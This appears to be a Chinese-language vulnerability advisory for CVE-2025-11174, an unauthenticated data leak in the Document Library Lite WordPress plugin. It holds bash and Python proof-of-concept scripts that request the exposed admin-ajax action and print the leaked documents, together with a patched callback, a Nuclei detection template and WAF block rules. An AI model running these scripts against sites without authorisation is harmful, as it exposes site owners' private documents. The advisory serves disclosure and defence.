CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

// 漏洞代码模式（简化）
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');

POST /wp-admin/admin-ajax.php
action=dll_load_posts

#!/bin/bash
# CVE-2025-11174 PoC

TARGET_URL="$1"

if [ -z "$TARGET_URL" ]; then
    echo "Usage: $0 <target_url>"
    echo "Example: $0 https://example.com"
    exit 1
fi

echo "[*] CVE-2025-11174 - Document Library Lite 信息泄露 PoC"
echo "[*] 目标: $TARGET_URL"
echo ""

# 向易受攻击的AJAX端点发送请求
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "action=dll_load_posts" \
  | python3 -m json.tool

echo ""
echo "[+] 如果您看到上方出现了文档数据，则该站点存在漏洞！"

#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite 信息泄露 PoC
仅用于教育和授权测试目的
"""

import requests
import sys
import json

def exploit(target_url):
    ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
    
    print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
    print(f"[*] 目标: {target_url}")
    print(f"[*] AJAX端点: {ajax_url}\n")
    
    data = {'action': 'dll_load_posts'}
    
    try:
        response = requests.post(ajax_url, data=data, timeout=10)
        
        if response.status_code == 200:
            print("[+] 请求成功！\n")
            try:
                json_data = response.json()
                print("[+] 获取到的文档数据:")
                print(json.dumps(json_data, indent=2))
                print("\n[!] 站点存在 CVE-2025-11174 漏洞！")
            except json.JSONDecodeError:
                print("[-] 未收到JSON响应")
                print(f"响应: {response.text[:200]}")
        else:
            print(f"[-] 请求失败，状态码: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] 错误: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"用法: {sys.argv[0]} <目标URL>")
        print(f"示例: {sys.argv[0]} https://example.com")
        sys.exit(1)
    
    target = sys.argv[1]
    exploit(target)

wp plugin update document-library-lite

// 正确AJAX安全的示例
add_action('wp_ajax_dll_load_posts', 'dll_load_posts_callback');

function dll_load_posts_callback() {
    // 验证nonce
    if (!wp_verify_nonce($_POST['nonce'], 'dll_nonce')) {
        wp_die('无效的nonce');
    }
    
    // 检查权限
    if (!current_user_can('read')) {
        wp_send_json_error('权限不足');
        wp_die();
    }
    
    // 您的安全代码在此
}

# 检查是否安装了易受攻击的版本
wp plugin list | grep -i "document-library-lite"

id: CVE-2025-11174

info:
  name: Document Library Lite - 未认证信息泄露
  author: security-research
  severity: medium
  description: Document Library Lite WordPress插件易受信息泄露攻击
  reference:
    - https://github.com/[your-repo]/CVE-2025-11174
  tags: cve,cve2025,wordpress,wp-plugin,unauth

requests:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"
    
    body: "action=dll_load_posts"
    
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "data"
          - "recordsTotal"
        condition: and
      
      - type: status
        status:
          - 200

SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" \
    "chain,id:1000001,phase:2,t:none,t:urlDecodeUni,t:normalizePathWin,\
    log,deny,status:403,msg:'CVE-2025-11174 利用尝试'"
    SecRule ARGS:action "@streq dll_load_posts" "t:none"

if ($request_uri ~* "admin-ajax\.php") {
    if ($args ~* "action=dll_load_posts") {
        return 403;
    }
}